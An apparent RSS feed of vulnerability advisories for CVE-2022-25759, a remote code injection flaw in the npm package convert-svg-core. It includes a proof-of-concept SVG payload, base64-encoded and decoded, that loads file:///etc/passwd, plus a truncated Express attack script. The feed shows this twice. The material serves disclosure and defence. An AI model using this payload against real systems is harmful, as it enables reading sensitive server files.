https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Fri, 16 Oct 2026 22:45:50 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-171099 EUVD-2026-171099 https://cve.radiocsirt.org/vuln/euvd-2026-171099 https://cve.radiocsirt.org/vuln/fkie_cve-2022-25759 <p>The package convert-svg-core before 0.6.2 are vulnerable to Remote Code Injection via sending an SVG file containing the payload.</p> <p>The package convert-svg-core before 0.6.2 are vulnerable to Remote Code Injection via sending an SVG file containing the payload.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2022-25759 https://cve.radiocsirt.org/vuln/ghsa-5gxc-fxcr-9326 <p><strong>Affected:</strong> npm: convert-svg-core</p> <p>The package convert-svg-core before 0.6.2 is vulnerable to Remote Code Injection via sending an SVG file containing the payload in an `onload` attribute. Puppeteer/Chromium (used by convert-svg-core) will execute any code within that tag, including malicious code.</p> <p>### PoC</p> <p>**Payload**</p> <p>```html &lt;svg onload=eval(atob(this.id)) id=&#39;ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs=&#39;&gt;&lt;/svg&gt; ``` where the `id` attribute is the base 64-encoded form of</p> <p>```js document.write(&#39;&lt;svg-dummy&gt;&lt;/svg-dummy&gt;&lt;iframe src=&#34;file:///etc/passwd&#34; width=&#34;100%&#34; height=&#34;1000px&#34;&gt;&lt;/iframe&gt;&lt;svg viewBox=&#34;0 0 240 80&#34; height=&#34;1000&#34; width=&#34;1000&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;text x=&#34;0&#34; y=&#34;0&#34; class=&#34;Rrrrr&#34; id=&#34;demo&#34;&gt;data&lt;/text&gt;&lt;/svg&gt;&#39;); ```</p> <p>**Attack**</p> <p>```js const { convert } = require(&#39;convert-svg-to-png&#39;); const express = require(&#39;express&#39;); const fileSvg = `[[[payload]]]`; // YWxlcnQoMSk= // function newContent(){document.open(),document.write(&#39;&lt;text x=\&#34;0\&#34; y=\&#34;0\&#34; class=\&#34;Rrrrr\&#34; id=\&#34;demo\&#34;&gt;data&lt;/text&gt;&#39;),document.close()} const app = express(); app.get(&#39;/poc&#39;, async (req, res)=&gt;{ try { const png = await convert(fileSvg); res.set(&#39;Content-Type&#39;, &#39;image/png&#39;); res.send(png); } catch (e)…</p> <p><strong>Affected:</strong> npm: convert-svg-core</p> <p>The package convert-svg-core before 0.6.2 is vulnerable to Remote Code Injection via sending an SVG file containing the payload in an `onload` attribute. Puppeteer/Chromium (used by convert-svg-core) will execute any code within that tag, including malicious code.</p> <p>### PoC</p> <p>**Payload**</p> <p>```html &lt;svg onload=eval(atob(this.id)) id=&#39;ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs=&#39;&gt;&lt;/svg&gt; ``` where the `id` attribute is the base 64-encoded form of</p> <p>```js document.write(&#39;&lt;svg-dummy&gt;&lt;/svg-dummy&gt;&lt;iframe src=&#34;file:///etc/passwd&#34; width=&#34;100%&#34; height=&#34;1000px&#34;&gt;&lt;/iframe&gt;&lt;svg viewBox=&#34;0 0 240 80&#34; height=&#34;1000&#34; width=&#34;1000&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;text x=&#34;0&#34; y=&#34;0&#34; class=&#34;Rrrrr&#34; id=&#34;demo&#34;&gt;data&lt;/text&gt;&lt;/svg&gt;&#39;); ```</p> <p>**Attack**</p> <p>```js const { convert } = require(&#39;convert-svg-to-png&#39;); const express = require(&#39;express&#39;); const fileSvg = `[[[payload]]]`; // YWxlcnQoMSk= // function newContent(){document.open(),document.write(&#39;&lt;text x=\&#34;0\&#34; y=\&#34;0\&#34; class=\&#34;Rrrrr\&#34; id=\&#34;demo\&#34;&gt;data&lt;/text&gt;&#39;),document.close()} const app = express(); app.get(&#39;/poc&#39;, async (req, res)=&gt;{ try { const png = await convert(fileSvg); res.set(&#39;Content-Type&#39;, &#39;image/png&#39;); res.send(png); } catch (e)…</p> https://cve.radiocsirt.org/vuln/ghsa-5gxc-fxcr-9326 https://cve.radiocsirt.org/vuln/gsd-2022-25759 gsd-2022-25759 https://cve.radiocsirt.org/vuln/gsd-2022-25759